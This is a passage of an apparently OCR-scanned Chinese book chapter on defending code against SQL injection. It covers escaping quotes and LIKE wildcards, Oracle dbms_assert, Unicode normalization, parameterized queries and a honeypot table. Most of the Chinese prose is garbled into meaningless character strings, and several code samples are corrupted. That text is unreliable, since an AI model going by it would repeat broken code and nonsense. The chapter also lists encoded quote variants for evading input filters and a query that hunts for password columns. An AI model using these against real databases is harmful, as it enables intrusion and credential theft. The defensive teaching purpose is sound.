282 SQL EAHEHSRAE

TR EMAPREER -2 S TREIRE], W LOEE b B # e X— M 7. el
FC 7T AU IS NP2 U459 F1 ESCAPE T 7 22 4 7 m LA 2 ke ff PR 46 7R ) 19 3 I e
B, NHERENHT

SELECT * from users WHERE name LIKE 'a%'

-- Vulnerable. Returns all users starting with 'a‘'
SELECT * from users WHERE name LIKE 'a\%' ESCAPE '\'
-- Not wulnerable. Returns user 'a%', if one exists

IEIER, €M ESCAPE TAIR, W LU (M AN FRAHE L U R . Ll 7R Em T
AR, X XN BN E R —MAE.

I4h, # Oracle 10g Release 1 & 2 J5 WA, iR 474E 4 —Fb 3| £ B IO T — “q”
1M, XA ¢’ [QUOTE CHAR]string{QUOTE CHAR] 'Wik&3X.. 517 (quote character)] UL
FEFTAR HBAEFAF R P B A FF, BR3E Oracle R ITEES (B4, WREEMH “[” X
RS HTH, MMEFEHTRE 17 SR HFR). TRk B R 7 2
S HFR R H

q! (5%) r
g'a0'Boylel!

Oracle dbms_assert

£ Oracle 10g Release 2 ', Oracle 5| A T -—/NHH dbms_assert 1. X MR JSHBRE T
BUH BB PEFRA (B 2] Oracle 8i)H . WIRTIEEASHILEWBIW, 7E FROM FHH), Ik
ZAEF dbms_assert RIATHIAKAE . doms_assert 41t T 7 M I F$(ENQUOTE_LITERAL.
ENQUOTE_NAME.NOOP.QUALIFIED SQL NAME,SCHEMA NAME. SIMPLE SQL NAME
1 SQL _OBJECT _NAME)JESHE A RIZERY A .

B85
FEAL A NOOP &Hik, XN R AHALATEHH LA EKRP EME S SQL EAKE.
Oracle /& P9 #f4& /) iX A B £k k8 %, B 3 A AL A2 fh it 42 & e 48R F =,

ATLAZE P A B F AR B RE. B BACRERE N KRG dbms_assert fdE%
A (FIELD. OWNER A TABLE "hf7.4£ SQL £ A):

execute immediate 'select ‘|| FIELD ||°'
from"' || OWNER ||'.'|| TABLE;

NHZMFEIR AW, ALEH T dbms_assert BT HIALKE:

execute immediate 'select '|| sys.dbms_assert.SIMPLE SQL_NAME (FIELD) ||
from' ||sys.dbms assert.ENQUOTE NAME
(sys.dbms_assert.SCHEMA NAME (OWNER), FALSE)
[1"."1lsys.dbms_assert .QUALIFIED SQI NAME (TABLE);

# 8-3 5K T dbms_assert 3T FFI & Fh ik ¥,
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% 8-3 dbms_assert i}

& B # ik
DBMS ASSERT. SCHEMA NAME AR TERNERREENEEETFERA SR
DBMS_ASSERT. SIMPLE_SQL_NAME ZERBET SQL TETRERAS A-Z, a-z. 0-9. §.

HRI_IXPERF R . RIS 5 RIS %, MW
E ARG LSBT T

DBMS_ASSERT. SQL _OBJECT NAME ZEERNEAEN TR ET AR EP NS

DBMS_ASSERT. QUALIFIED_SQL_NAME iR 5 SIMPLE_SQL_NAME JE# 24, Al gt fo
VSR P B

DBMS_ASSERT. ENQUOTE_LITERAL RS A5 RE | FMES NS RSO
HL AT A 44

DBMS_ASSERT. ENQUOTE_NAME WEREFARSI ST RAFRENFRFS, BA RN

WM RsISkRIIAE

Oracle 7EX T B SQL FEABUHWIE M P VEMANDA T WM {ER doms_assert(http:/st-
curriculum.oracle.com/tutorial/SQLInjection/index.htm) . iy ¥ % i it & 24 22 3t [5] 3 4] (public
synonym) & 3 BT, #5ER% % ¥ id 4 PR 5 44 (fully qualified name)iff F i% 45

2. 3% Microsoft SQL Server Bi4R75

i F SQL Server [FIFEA I 8.5 580 F 55 sh L5 R, BTA LEMNE S EFITHEHE
SQL A A &% E M )T SHTSHRIS. 7€ SQL Server 11, B LLESfE MRS 58
B AR SR IGRES A, XAk, M5 5SS EEH RIS, MAR FATHRE
WG, AT HIE R PR E AW PRI SQL iEA. ATLMEB) S T RS 7E
CH# P ILZ H I

sgql=sgl.replace(" ' ", ™ ' ' "});

Bltn, RIS SECTH R O’Boyle A8 % O”Boyle. WA AR BIHAE E R, & THF
HABARTE N O’Boyle, M AS7EEING | AR IR FHBEREM, A, EFEdRg
Transact-SQL fRFS £ AT 145 8 B it B %Ak Sh/hoCr o BT 7E Transact-SQL i 24 HL5 [ 55
MBI (FE N E R FHFREHRA), FMA Transact-SQL H iR BB 51 S R H AR
ale, EIERIE, REREERIE S LI RAE R PIXE AR 4 D] SRR — x5
RS SR, W ETR:

SET R@enc=replace (@input , *'''' , '*'*'"7 )
i Fr it e m LR W MY S e, I INE A

SET @enc =replace{@input,CHAR(33) , CHAR(39) + CHAR(39))};
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X T IHARRELN SQL Thhe, FIHALEXESZ SQL IR IS B(H LIKE T4+ R
ERCAF AL BN G R . ARIE N B BB, B &l Al it e A S 3R gt
ACAF(Z Ja F7E LIKE 7] F)RIGUE N FZ 4 . 75 SQL Server ', & 8-4 71| Hili AL75 7E LIKE
TR RAHH.

% 8-4 SQL Server LIKE FHayiBE

F F & X
% ICA 0 AEREMER TR
HHRE— MEREH
0 i1 T4 5% 10 B [a-d] SR [abed 4 £ o HOAF RS A 7765
[ KB 41 1 0 [a-d]BRabed 8K & o HUFE RN F4F

XHF % BAESNA SQL ) LIKE FA) sl IX S5 oRpl, aTLMER S “[1” K31/
G HER, RAESES%). TRGOMEETESOFEWTIH. £4RTHEZ0).
Nearat) BT 5 (-)F R BT A DR R 46 7 355 W R REBR & S0 W] LUSUF B AEAL

sql = sgl.Replace("[", "[[]1"};
sgl.Replace("%", "[3]");
sql.Replace("_", "[ 1");

Hesh, KPEHBLE ERFRIITE, EaT U h BHE X — N X F R, RIS BRI
TN IN%Fe X7 FF 3+ 4 ) ESCAPE FAJZEER#MFMLLIEE . FREEMI T

sqgl

o

sgl

SELECT * from users WHERE name LIKE 'a%'
-- Vulnerable. Returns all users starting with 'a’
SELECT * from users WHERE name LIKE 'a\%' ESCAPE '\'

-- Not wvulnerable. Returns user 'a%', if one exists

IR, M ESCAPE TAIRS, AT LASESEEMAAFRFE RS LEH . Bl FrhtR 1
Bk, KRBT R R — B,

RR:

£ Transact-SQL ¥ (44w, ZAMTARFIRLS| FRMAHRET|S0t, —x 22 &HE 4
FRENRABHAMEE, BEHALT, WRBMARKMAGHIEER | LERBT. ZAH
A A A E LK e, Microsoft SQL Server 28 M E, X2 S M AKIEE BN A SQL 1M
B, ARIEAEA G EMF R AR, XEAFHM FrE SQL EARF TR B3] L SQL
ENRIF.

TR RE, #ALA replace()™3E quotename()R AT, B A quotename() K ik
EALERBIE 18 ANAFHGFHE,

3. &3 MySQL B94%%E3
T MySQL [EIFHE 551 545 b F R/ s O G5 SR, BRI A9 0 BE 6608 76 549 £ (307 SQL
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PREEEFHR)PRTSHATHE. € MySQL #, AT MR AD KR & R G A F A
ARG S B BRPN R SRIAEE B, BaTUMERRMLO)RIIHETS. ASEEHE
Mk, BRSSP BEFRBR WO AREHBLERFD), NEBPLLESRA P E
FrE AW AA SQLEA. BT LAEBY & T R UUKARILTE Java F LB % H #:

sql=sgl.replace(" ' ", " \' ");

It5h, PHP B4 T mysql real escape(Pfi#i. ZR¥ S HEMEARFLHKSIHBASIER
HA BF S\ EWFER, Bl 0x0O(NULL). #A7FF(0n). BIZEMHFOD). W515¢) RN
M Ox1A(CHI+Z).

mysgl_re al_escape_string(Suser)

#lin, BRI FEFFFE O'Boyle MK OVBoyle. QIR HARFRBIRE P, ZFERHF
BRPRIFM O'Boyle, RMASERMSIAMHNEIRFFHLERMM. Nid, EAHIERNA
PP AT £ R B A SN0 o BT TR BAT S5 AR (B R S R 75 B 4R A),
R EE A RS P R R AP 5| SRBHR A5 S BRIZBRIE, RHWHBIL R
JLBIRAERAS IR RS SER 5T RBLMN—A51 BT 5 For) B85 BFAERE—3I
RG] 5%, T BiR:

SET @sgl=REPLACE (@sqgl , '\'' , "\\\'")
R FFRIGERR LR BRI S HR, HENiEE.
SET @enc =REPLACE (@input,CHAR(39) , CHAR(92, 39));

X} HAREAE) SQL Thie, FAFA LEXFESIZE SQL H R M5 B (B) LIKE T4 #FH
HREFF AL BT, MIENHFERZHRAOAR, BhEdaaasdammAhiRgn
ACFF(Z 5 RIAE LIKE Fa) )R N A% . 78 MySQL R, % 8-5 FIl K f9@ Bl 75 7€ LIKE *
I RENM.

% 8-5 MySQL LIKE FhsiBEisr
F " & ¥
% PLEC 0 NERE MERFHF
WL —MERFH

AL RIS 2R 8-5 5 B R —F FFARICAEC KT BL » a7 LU R 4 7 () R 8 T R 15
RS A Java SEELZERAE HIATD:

sgl=sgl.replace(™ % ", " \% ");
sgl=sgl.replace(" _ ", " \_ ");
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DR B 8B ERY R

A8 JF) B5HE 0 L&Y 19 AR R AT @8 AR R P R BB Y M B AR AR, MR R e IR
ARG BEEZTEAT AR HGMARIERFTE, SNTHEASPHRGRGR
BIZRALAZ—ANEAREROFE=ZFHR). 1M R EAE S 252 N H ALY
FTHZ—, BB A iLE %34 SQL REFiE SQL EAF A, AX—SFER RS
8y, {2€ R FFRBGERAN, Tk, AHEESRBEETHEETUROAREA P HE
FWN, AT TFBEHR, 74 R b e BRSNS SR AR A S
1B R AW BT R PR SQL i ALk KR 64 5 ) 2419 8,

BAEE T H AR EL BB T LT A XSS FIM, XAHLFALTHI A SQL
EAN, BMEAR 7 FH 73 FABEAN" —F AL EEGAA FEA IR Fidix A
AL, RE R AR R AR IR MR AT R AT R AL, AT G AR
R4 R Pl B Z AT XSS Pl TS, AR E—F B EshA SQL TR A 4
B E AN EZ AT SQL A F H #4754,

8.5 MLtk

NI AE AN H GRS T A PR R BB ORHG IEAE VYA BRI 0 M MO AR R LR 2 P i
HIF P G B RE 2 BETT AN AN B UE A tH B A o P SRR 2R N R IR 40 N 2 AR 3
HATHES, ZEFENILHITHBNERELUMFEREENEHF. B, & 8-6 5 TRwIZHA5|S
FR A LME R BT i

F8-6 JTHIISHBIT

£ ® L REE
%27 URL 453

%2527 X URL w5

%%317 HEMN URL Hi
%u0027 Unicode F7%

%u02b9 Unicode Fi=
%ca%b9 Unicode #71

&apos HTML 4%

&#39 -+t HTML 4%
&#x27 AEEH HTML 45
%26apos 84 i) URL/HTML 4R#5
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FER RO, X R AT M F R 9R IS 77 1:(%27 8.5 5 #) URL SRAEHER); mxt T Hibil
Bl IX R GRS 7 v (IBUE B R o R 34T B RS [0 %2527 #E4T URL MRRY)E T B R 8-6
FRTREI%27: %%317 H—FEDER & F Unicode Rm LN EERERTN). HIEFHIX
ERTHSWEFBRERLTS . KBHERT, AT HTE A R & 44 R il 4
ERBLTFINAE. NAIIRS 282, WAF BT Web RE2E), FTLURAERIIN A A SHIX
P RBAT R,

BT ERRER, — & % K G L (canonicalization) fE 4 3 N B AE 7 31— 2643 . $RTEAL,
RIERA B LR HERR B BB, Bl 8-6 F1 I 85| 5 ] s M4k 5 i & 5|
BLFC)

e T

B ER AN WL LA 400 N B 155 R R S T VA ? S B A 5 S LA — R TR R AR AT AN
AR R . Blin, FTLUEL N AR BT HTML Al URL S5 EAEE
WL BN, MAXRBATREN 5L . AT A4 R AR UERE % 2 BRI R %
TriE, BUSTERAL AN REFMA N R B # K F R, XF 2O RSB F
SRELEAE I TR (FL R 8-6 HFIZS K%, &AIH), FMIARAFBANIXLFE,

WER AR A S DA RN, T T SRR ik B At 7 3 e AR B Wi
BN EEN LA, XTRATILNSEBEET L ROMILSE, i URL #HF HTML #
B BRIXFTiAN 5 e, FAREET MRS R ERATHE FEMA PR EDR
BEELRDEEAE. WEATTH R MBI — K, #TFROBEEPREEE
NHmEE T RNIERE. ZTAHEEERNMARNSB I URGSMHE. KEHEERT, £ -
i SR R Bt

i& i F Unicode BY A 3%

IBER UTF-8 X[ Unicode AR, —FhJ7ik R4 A5HEL (normalization). 1% 77%
i 1 %8 SCATF ISR AS Unicode #5¥pl M SR . Unicode FRuEML 53Tk 2 B2 T
RIEAE M LRI AR Unicode £/ A] B TFAE L FIFRAEL R . BiU{# ] NFKC(Normalization
Form KO)/E AHIAKAE H W4 HEILER . AT LL7 ] www.unicode.org/reports/tr]l5 LLREN T
PR e A 205 B

FRAEWLERAERE Unicode FRFrMRAE R EBHMAMF, 2 EHRBEMBHERNELZFEH.
REFHT, 2B % L HARK Unicode 4af57E A1 FT AL A B H R & 13 (9 ASCII
M.

] LL{# H Java ] Normalizer 25( 8 Java 6 LSRR A dniEL, W FHR:

normalized = Normalizer.normalize (input, Normalizer.Form. NFKC) ;
I LIMEF A C#7 String 6] Normalize J5 iKW NPRHELL, T Frs:
normalized = input. Normalize (NormalizationForm.FormKC);

ATLAf# A PHP #1 PEAR [ (¥] PEAR::118N_UnicodeNormalizer £33 AVEHELL, 0T FF 3
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Snormalized = I18N _UnicodeNormalizer::toNFKC($input, 'UTF-8');

B — M7 R E M Unicode BAMMARILMMIFETR), REGEBH R —Fra]
FLARES, B 1SO-8859-1 IXFEMIPERRFFFSE. BT R MAZAL B I 475 N FH R X fp #%
REFAMA . XE—MNFHBEAZNNER L, AAERRNEESERBEEEGHATHER
7RH Unicode . Aid, BEARIEREAIHMITI S, R I7dod B R A Mk 4 FEKE S
ZHMN S RER .

AT L@ R A 3R 8-7 5 1 A IE R & Ak A A UTF-8 48844 Unicode #£4T Unicode
RMEERE., WRBAELGXEZEPHENFEMLR, BAERZENHERK UTE-8 &Y.
WRALE, WZMARARE—NE X UTF-8 4afd, WiZgie 4. x4 TH AR A H) Unicode,
WA E LR A SR i UL BSOS, LLF S B SR 7E IR N A BRI shfk.

# 87 BTFM UTF-8 MIENFKER

ENRER i I
[x00-\x7F] ASCH
[xC2-\xDF][\x80-\xBF] WFH R
\xEO[\xA0-\x BF][\x80-\xBF] AWFEN TR
[\xE1-\xEC\xEE\XEF|[\x80-\xBF] {2} FERR
AXED [\x80-\x9F][\x80-\xBF] ZFAETR
\xFO [\x90-\xBF][\x80-\xBF] {2} SEH(plane)l ¥l 3
[\XF1-\xF3][\x80-\xBF]{3} SET 4 F) 15
\xF4 [\x80-\x8F][\x80-\xBF] {2} SET 16

RETMARE B RE, TUE AT LU & i ol i LAk X, a0, # Unicode UTF-8
FIF R IE I 1SO-8859-1(Latin 1)IX#F#) H Al 7 FF 4.

1 Java H, W] LUf#E ] CharsetEncoder 288 . 52 7] 8211 getBytes() 7 1%:(Java 6 M 2 J& IRRAS),
mF s

string ascii = utf8.getByte ("I1S0-8859-1");
fE C#%, WL Encoding.Converter 25, %1 Ffi7s:

ASCIIEncoding ascii = new ASCIIEncoding();
UTF8Encoding utf8 = new UTF8Encoding();
byte[] asciiBytes = Encoding.Convert(utf8, ascii, utf8Bytes);

£ PHP ', wLAf# fH utf8_decode, N FHimn:

Sascii = utf8 decode($utfstring 8)
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8.6 i#itik+tkiB % SQL iENG LR

FENMARFHRTERNREF RIS TRPNARZ SQL HAKEMENR. KEHIEFR
T, SRR — Sy N B IE 4 T I R B B BB 90 AP R (LR 7 B SRR B R
B — B X P07 R RARE S A £ 8RB BRI S SR SQL A
HfEk. Aid, ERIHE, RESORMFFTFRER LS, BHEBNIA KN ST E XK
MEHAUERMNAFRPBITER, TRERKEIIR.

BT RSN AR BRI A, BB BFRR, BFELIIX L
ARG &AM EBRRIEAR. WRERAAZNE, SR IEREMHN SQL HEAR
BB

8.6.1 {ERM#FHEIE

A5 L B T 1) A G R OR Uy 1 B0 R — R AT LA 1R BRI SQL A LW R
HHEAR. AL REERGFERBEP RS, WRIBLIEENAR, TUFERBREARESRIHL
A& 4n SQL{FA T Oracle ) PL/SQL. T SQL Server ] Transact-SQL. flF MySQL ] SQL:
2003 Fr#E]. Java[Oracle]Bi H AR )R Gt 2.

AL RAEE A TR SQL HEARFKNMEERW, FAEKSHEIERE S EHTE
SRR AT LERREZREV 5. X—aREE, BREWREMTAFAHL SQL
FEN R, W)W I A AC BV PTR R UE BT 3 TR U ) 0 P RS B

Z A MBI A OL, R h3ha& SQLHE T H ahaAFr t) B SR MV ] LU B A P48 TR B 1Y
K. B T34 SQL & 78N (sl B4 e v i S AR Gr B 418 1), 2 J5 4 ROE 40 BHE FE ST
DRY T 280408 P v B A T R N BB 5 N B B SR X T S R R U ) AR P R Bk
Mk dias. Bk, wREI SQL yEA M, WIBLdiE n] A e U7 10 H038 FE - i e
RNV REE, BERBEEFE A N B R,

A DA R 7768 1 P2 R O X PR L . A 514 6138 77 A L2 LAPAT I TR B BT B B &
Vi) g R U 1) B0 BE BT F B H0HE FE F P Ay R BRAT Y T R E AT R B RT, (B
FOhE S EEBERE P AR B VET (B0, B kP BAE XN A BIERAT SELECT. INSERT
5% UPDATE #/ERIBUF|, {BRIME 7642521 EXECUTE BA)). #ETFRE#MIBFEHAAR
AIVF AT U i) B (B i G R e R AR R A AT RN A RN TR SN A SRR TRE
B, XFEAR)TEE SQLEAN @R EN, FhESREgd® L aiAAEE TR, WK
BT B RV M RS IR . EREHMT, XA MR LA 1B Uy 18 EE P Y
BUEGER.
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FiE g2 ey SQL EA
BE MBI R LR (B4, /2 Web B8 $)K A SQL iEA., XA TEHA, BH SQL
ENTIABINEIEMTEAHA SQL 95, CIEHEEE, wRERZFEGA P BN
RSB A (Bl ho, VAh AR AN, REAEZS SQL PRMEMAN, M AKE
B B T OAGF A B ARFEARE B I SQL A

B b, FECHE & B AL 8 RIT4E A S A BT BLiZ AR SN N, W BB 13 AT fRiBE %Ak R B
A SQL, sF-FA&m GakidA2eg o, #M3hA SQL ¥ Fokh A & 2 338 & B 2 LM
Ity Akt AE k3 se V6954, XA AR AR A P o A 34 SQL.

8.6.2 {ERMRE

WitwikN AR, #LREERAER. W SERMBED R XARNE, Nk —
BRI BER TR K. RBEABRROARR, XFETTHES & Hibemate IXFFH)
B N4 U 1) i % 2 LA % Al ADO.NET. JDBC ER PDO X A¥ 4 FE U A AR . X% R
ERA B T ML N LA B & TIINSREIR K L2V AT R . REATh Z 5 B RER
R AL E .

i fR A8 I 2 3O T AU SR AT BT A 5008 B 1 A K 008 U 1) 2 A X P 8 /2 ) — MR B R 1
F. ABREEK “82 FASEIIEN” —WRETREEHESFHEREHEZRENEAR)
RS FBERNGITF. BRSART B R B R HEAREZ S, AEEAbY R
HR, TiHZEREEHEEERZ M3 SQL IREMFER, BABARTHEHI SQL HEA.
FRA MO BT B R T S R RS ARk, IRTUE SRR
SQL A HIRE « X b 7 2ok B A AL SEBLRIBOR, B e B8R T Vi ) $di R B R 7 i,
B UAZE Wi REF I BUR Ui 13 B E A 5 L.

8.6.3 AEYRMEIE

BUE—FRE SQL ENTEE R A B % 18 YR FE - QUBR BRIV i) . B

) B A7 2 — R IKEUN B8 P BT e BB 0V AL, R EEURE R B S XM TE. Bk
LA NBREUOE BB AR O4 . MRS B FHAXHNMEER. BRZR
B, BT DEEUSE BT THES H— S hiR el s 2% R B RR:
o O% WRAHLHMIE, FRRERBEFFEMAF 04, RSN EERTRED
P C14 1 salted B0 4 75 (18] SHA256 XM Z LM BHIHMARLALSEH. & T

Sk LB EAR A ALK salt(—FRBEINAS > RBENLEAE) 5 A D4 FFRTF . X FXFF

o, BRNABELEAS DLMEEREPRFH DS, TIRCRRED A RERER

T HIRA salted PAASS5HOEAPIRIFHIMG B BAT L. WER, XFFARIENA
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MEEASKNHFREEEO4Y email. MERAFAEIRT 04, W ZN M g—
MR REOSIHFH OLRELH .

o FEAERHMBMEER MNiXERHAT I FIPS JAEH )05 & ks £
5 BHATING , RGNS 3R . X R PCI-DSSGEATRATILBHE 2 245 1)
MAEHFE B ESR . R P %% B B b A I 15 B (e 4R 4T Ik
FRABEAT I

o TFH WRRIRMARFRITLEMITABUEG B@IWAMNTRIME B EE
Piseidsx, N RER-—B A H AR AR AR X EATENEE. mBEHR
WMEENAAEREXEER, NN IR RER TN 3T XMiEs, HERE
BT LR R R L AW P R B R EENRABINR )R T, & @it %
i BEE U7 1] MBI =15 B BSRkRSEEL % B 19

k& B — B A BB TR
B 2B AR ARG FHA LT, THRLEE F IS E — AR K 63k 4R4T.
H—R, BPEMORSBEEREANBES BN ST FRBH LD AT H4E, ik
Fot, ZPLzERHAT 2R EHA, ARINERE, /NEF T B &R0
iR T SQL IEAF) Al 69484 &, k
XAHATARGZETIEAG KR CRA—HFIFRS, EAEATEAZH P A
WEIRIZ Web 355 F “News” BUBkeyik B M45. R 2, s FEP kit, HEEP
RARE T ¥ AN w8, CERATHRATPHEA@iT Web 355 & #4837 44 51
BAWAT @G A, S QIEHE 10000 NRAETEGR P L. HARR S, b
HETA, AR AR IEBRAE. BT, BTEVEGEENAREL.,
ERIRF), BATEFARET T —3i#l A5, HFAHNA I aMERLET 2%
YW EGRY, IHAHFETHEF. W SR EANN LA X FTIE Y 3b £ 53 ARk
AAESBAT B0, MAXFAATHRATBNLIHEZE,

864 EBRAREIMNRE

HTRETHNERE, 7503858 imngs w5, Déiﬂﬂ{*m%ﬂ)ﬁﬂlﬁﬁiﬁmﬁ
&AMl

ZHNAFEARSEAEEERHERNS4L, i password BE kennwort(%%):zﬁﬁ‘:lﬂ
Lo MB—HHERM, KEHEHTHEBSEIRIXMHGS T, MWE&%EP:}E‘J&EE&E
P R ATV R B9 51 46 (Ha B password). FTH & Oracle 51 (1 — Ml F:

SELECT owner||"'. 'column_name FROM all_tab_colurnns WHERE upper (column_name)
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LIKE '$PASS%'

BT R Tt B AP i A 114 B BUS S BB . 145 % % 8-8 LI T
R Sy 44 KT, % BIH T password BX/MA R T HIZE PRI R BEAB I 55 U5 O TSR

# 8-8 A[FES P HY) Password Hi7

AT Password #ig B =B
password. pwd. passw EE
passwort. kennwort WiE
Motdepasse. mdp kiR
wachtwoord fir 2235
senha WA E
haslo PR

ShE B AR R, AN B MR RS E R L5 BRI ER. BRXE
BERH T 2 F AR U A BE, (R EIT DA R BGE F TIRRR YU R E B

8.6.5 fIEEURERE Honeypot

R EER N 2R B B N4 ke %, W ETLLeIE—FHT password FI(EE
{5 5042 IR B BN honeypot(E )& . W RMBIE LT, MANHEHERAHSWE] = e-mail.
7 Oracle 7, AT LA FA s #0l % F %0#8 PE(Virtual Private Database, VPD)XRSLIIX PRSI E,
W F E A R

-- create the honeypot table
Create table app_user.tblusers (is number, name varchar? (30), password

varchar2 (30);

-- create the policy function sending an e-mail to the administrator
-- this function must be created in a different schema, e.g., secuser
create or replace secuser.function get_cust_id
(

p_schema in varchare,

p_table in varchar?2

return varchar?

as
v_connection UTL_SMTP.CONNECTION;
begin
v_connection := UTLLSMTP.OPEN_CONNECTION('mailhost.victim.com',25);

UTL_SMTP.HELO(v_connection,'mailhost.victim.com');
UTL_SMTP.MAIL(v_connection, 'app@victim. com') ;
UTL_SMTP.RCPT(v_connection, 'admin@victim.com');
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UTL_SMTP.DATA (v_connection, '"WARNING! SELECT PERFORMED ON HONEYPOT');
UTL_SMTP.QUIT (v_connection) ;
return 'l=1'; -- always show the entire table

end;
/
-- assign the policy function to the honeypot table TBLUSERS
exec dbms_rls.add policy (
'APFP_USER',
'TBLUSERS',
*GET_CUST_ID',
'SECUSER',

v

'SELECT, INSERT, UPDATE, DELETE');

8.6.6 MIMHREAREIR

AIEBRZMAMRERE RGN AT EANRRBETH, BHE. SMME, AR
MHMZEM. FHEASBEEIIANRERHORESIE:

e OWASP(Open Web Application Security Project, JF/H = Web N %45 H ;
www.owasp.org)st— M. B THE Web N H 2K HBA. OWASP #iH1R
ZIH, EHRMLT®RE., B TMNTRRMITRA REM. FRFECAHT
4 n 8. HPIEEH L5 E S5 ESAPI(Enterprise Security AP, k224> API)
1 OWASP FFR#EM. ATHREE T —Ht API Hikk LB ARIEXER 22 TR,
FREWAZETFRRBH®T 2EES.

e CWE/SANS 2009 FfF 25 K fa [ 4 FE 4 1% (http://cwe.mitre.org/top25/index.html) /&
MITRE(SANS ) fiF £ B L% KA Na M RE, LAKRIFRARRME
P SO MR I TR, BRIMERM THE 50 H tE X 25 KRR S
H-—FH SQL HE N XK BHLE B .

e SANS ¥ 2 2 th&(www.sans-ssi.org)iR 4t T 24 & 7 T M VIREE S, LR KER
SANS TMERIK AR P S Z (R BT AR .

e Oracle ] SQL ¥ A Xk Bh 145 i (http:/st-curriculum.oracle.com/tutorial/SQLInjection/
index.htm)/M41 1R £ H B+ %5 SQL iE AT i T HAEA.

e SQLSecurity.com(www.sqlsecurity.com) & M /1T Microsoft SQL Server %4k
M, ERETIRZMHR SQL E AR H A SQL Server 424 [A) B i B I5 .

e Red-Database-Security(www. red-database-security.com)j&—/% | JBf 5T Oracle %4 73
Al BHME EAE TIRZAH TERXT Oracle Z2FMEM AL

e Pete Finnegan Limited(http://petefinnigan.com)ti 324t T K& H T #1F Oracle ¥4 FE % 4
HI1fE R

8.7 AT )&

AEMETIUHONRIEN A %2 SQL HABGHMEMEA MR, XEHRMRE L
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MBI AN A, BERERARHRY, WEELASHAEZMHALEAR.
HF Bk R, 3 R T MR A TR B R T R OF R BRERE TSR REIR A . R
Tk SRR — R R, N R T A A A BOAOCRIRLE A I RN B i/l . i,
AE SRR R R AR RN B A S - AT ARGy, BT R R B N AT AT £
o 1R BB T X N TN SRS 1 AN IIE,  (E 2 (AR B0 e A A Ly
P GRS, anfrad sk B R RS RO ATHRID, eI 7E B IEH0R 2 TBEAT VS (LA (B b A
e, SRR IS IRBAR N BAR PRI U ] . B IR A AR A B T % SQL AKX .

8.8 HRiEMEFE
1. EASHLIER
e Zh7 SQL(ELE ¥ SQL T4l e i & 2 K P # R4 A 7R/ R IF 28 S U E) &
g% SQL i NJE A X E R E.
o NiZAH 2 Boib v ) (R O TRACERIE /)T dE3h A& SQL ke th4 3% SQL #).
]

FERR UL BOEE R A LLEUE F 2 80E 6], BEIEEH S8 iE a0 k524t SQL X 78k
FRIRFT(ELan & 4 851 44).

2. WiEA

o JTATREMEFFEA B4 PMARIECIEBEOHE N E R RAFKRIA).
o BRERIUEN AR T A Z A R HIR A REE . KN, EMA A,
RELLEMAH A A RMARIERN A R H RS RMAKRIEGELCMA R T &

2 HIIN)

3. mALE

o HRLERHELE AL AT FE O B PRI EEAT IE Mg Y LART A A B 5 1S sl AR TR R B
il

R FEAEAEA LIKE F4), NSRS LIKE $ 808 B A e = gt
1A% FA MBI PR B B i 200 2 BT OR 220 Bl o U N B EEAT T e S A B
T AU S 25

4. MEK

o CHEER A MRED AR S MLIE R S A BT BN T UE T 98 2R Rt 4D .
R, AR A TR AT (L 2 T 0 Rom RS 77 i
o RTREME A4 BN RUEAIEL I HTEH K ATMA .

5. BT % SQL iEARER

A FH A7 if i F2 DA GE £ B e T2 A0 A L BE I Vel
AT LA P a8 1 b 5 J SRR A I P Jt o 22 4 ) 3 U el
o BRI, BN BB B AT B B .
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8.9 H LA

B AT AAGEME R SEULE R p R A 042 ?
RE: PRASEMEG TR SQL #RRF, RENERH AT SIS gRmiFIF AT )G
SRR BEEI A . XK SQL FRIARF AR BER 2 BT 4R i3 18 30 .

Rl: M2 GEA S L ORDER BY F13°?
BE: XPMNENEERS E—WEAE, K% ORDER BY &8 —A SQL #RiL&F, HatR
FEIATHER A .

EIEE: AR X BRI Y BEEER S HE]?
RE: AZEIRHGIEE SMBREL IR SBUGER . U EE 2000 10 80 A Uy 1)
APL B . FiRE, FI X SRR 4 Tab 85 A

EIRE: ERESEA DL RRA
MRE: ARZHEREES T, IEEASEHEQIERRUREELSME. EE0M4HTE
RIBIECHEEVS 1) APT BSCRYS . AR, AR RSB RRR ) 7T B4

EIRE: AR IR BAF A THRAE X R A2

MRE: ERATE, MERLEPBA ANERRTNAMER. QURWERPIE, ERER
BERECR, POYRATESIE HTH S AL UG EA . R L H 2
B, NIET RG2S H 400, B2 20 32 P NS0 UEVE 0 ME— PR 58T )7 32

EIRE: {ER G P AR R 24 ?
BE: AR, KRRTEAVFELHAE. Bl ffRAVIRARTS, HESHFEF SQL
LB X RE KRN B A 7 A )

O R : WLt S L BUE S 4 LRI KL ? Mh &5 & TR 44 S A B ?

B NN P EBGR A8 A4 LR, WEATBUR N AN RE. &
Web 1% F B KSR S OA A7 B 35 15 45 22 4% S 50 UF P D B b Atk LUk R Kol B S5
i) SQL iEA B .

YRR i BN RIL L AR FE M B EE DR I M N\ B AT g ? R 42

MRE: NEEMEMAZE SQL, MTHEEMMARRLTHLERIENNEARLTIR SQL A
Bl XHFARREEZENRCEBGL . 9B I L 4 2578 Ho Attt 7y
5 SQL HAEMN, EREFAAERK.

E)RR: AR B AT R ?

MRE: PO FIME B B MU T RIS . a1 SR AR A B R e 2 Al 1) B4 PR AR AL
BAR, MANZT BAR T HRIG . NAZAER AT e A BOR AR R MBI in, K
{8 R P Z R X Bl B A S B0 7E B2 SQL P B Z B [FT 4 SQL
TEA GRS ])x 3k E B PE A BRI AT 4R
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) & :
BE:

1) R :
RE:

5] & ;
BE:

5] & «
BE:

el xe i X BRI B A BAT BTE A bR AL 2

WS T R TE o A8 P AOHE B2 SORS R FREUARVE AL AARHEAL S RE . T SR AT oAt
ERT RS, thar Ui A B A SRAE AR (b o P T AR AR icu SR iconv)SRE A S
#k ASCII.

14, Unicode BTG4 L E 242

Unicode fBFFRA £ F A KEFERER. FRE Unicode FIFEFT R, F—FFF
A REAFEZFIRIR. HEFAT, HHMTERD N BB H Unicode
PR, TEIXEC@ERERT, RAFRANBSNERFT R REEEREM .

WU R P A 3 A SQL, 2R ?
R, HIFER, GREETLUEFAEIESTESE SQL A MRAFHIREN
& SQL AWM REF M EHNER, MARKRRAESZE K.

FAFF T Hibernate, BITAT L% 52 SQL i ABt, Xfrg?

AXt. Hibernate #iSEREMSBUR ZRMBAREVTRIITA, B8R 7T LAZE Hibernate
R WEANE SQL ARMOUH 2 M RATE W), Eil4%shd SQL HMRRIESRE
XL R RS EN .



FaEp#

AEBHR
o fEREATHHRY
o TIREGRE %4
o PHINEIFREE L8
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SQL SEAHH S
9.1 ik

8 Fitie TR I SQL VENK AT LURE I SR fERIB I i . A ERER SRS
BRI, R SQL EAKFEERH. ¥ &2t R 15 Ak m N 6 2 2 pissT
